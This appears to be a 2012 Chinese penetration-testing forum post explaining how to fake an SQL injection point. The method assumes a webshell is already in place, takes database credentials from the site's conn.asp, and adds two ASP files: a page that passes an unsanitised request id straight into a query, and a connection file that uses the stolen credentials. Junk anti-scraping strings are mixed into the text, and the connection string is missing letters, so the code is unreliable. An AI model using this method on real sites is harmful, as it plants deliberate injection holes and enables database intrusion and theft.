中国网络渗透测试联盟
标题:
伪造注入点方法
[打印本页]
作者:
admin
时间:
2012-9-13 17:53
标题:
伪造注入点方法
首先你要拿了一个webshell，这样你找到连接数据库的文件，大多都是conn.asp这个文件里面有mssql的用户和密码，你要找到用户名、密码、数据库所在的IP，然后连接上去，至于连接大家应该都会，找到网站管理员的表。因为我测试的时候是用管理员的表，我朋友说任何表名都可以，只要这个表存在，代码如下：
, k1 ~1 {9 U/ h# c
ASP/Visual Basic代码
6 @% y7 i* ^& W/ _7 ^* T& g8 h
<!--#include file="xx.asp"-->
7 z) a$ X1 p* S! U% B
<%
5 }9 l2 L) n+ e
set rs=server.createobject("ADODB.recordset")
) J4 \ p5 D) y( B, j% S) i
id = request("id")
5 @& ~( n# P) l ], a$ p
strSQL = "select * from admin where id=" & id
5 J8 e& [/ g! H" m2 G1 _( A. _9 j6 x. n
rs.open strSQL,conn,1,3
5 v5 W, V" o% U; E& ?/ }" K
rs.close
3 f3 J3 h) D* V9 `% y( O: O% r0 |+ v
%>
, V3 ^7 y+ G9 u& k
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名，注意必须存在。你可以连接上去看下表名就是了！这里假设的是admin是表名！这个文件名随便保存！
7 Y8 Y9 Z5 a1 E
然后就要构造一个连接数据库的文件了，代码如下：
' _& B* {" C8 W! W. m' |3 }
ASP/Visual Basic代码
8 ` q* u" B" l; G! R/ V
<%
" \+ J! t- `9 `' Q7 V& N
strSQLServerName = "000.000.000.000" '服务器名称或地址
5 J% b' y* y# F! g6 n" T
strSQLDBUserName = "sqlname" '数据库帐号
& t3 ]$ F1 z ~1 N) v- F5 q
strSQLDBPassword = "sqlpass" '数据库密码
/ B- h& f! o" R
strSQLDBName = "sqldataname" '数据库名称
/ Q, E+ F% A7 `( J/ p
Set conn = Server.CreateObject("ADODB.Connection")
, \" K0 } D! d. `% x! ^8 _4 [3 ?7 Q
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
1 M! \1 W# Q1 P O7 [$ a1 l
conn.open strCon
8 A% S" Q% p1 o
%>
% n" I9 C, Z* x3 a+ O9 S. v
这里应该都会了，就不罗嗦了，不过注意的是保存的文件名要和include调用的名字一样。就这样，正常情况下，就OK了，伪造成功
/ S$ K: B- W5 k% r0 f0 {/ A
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2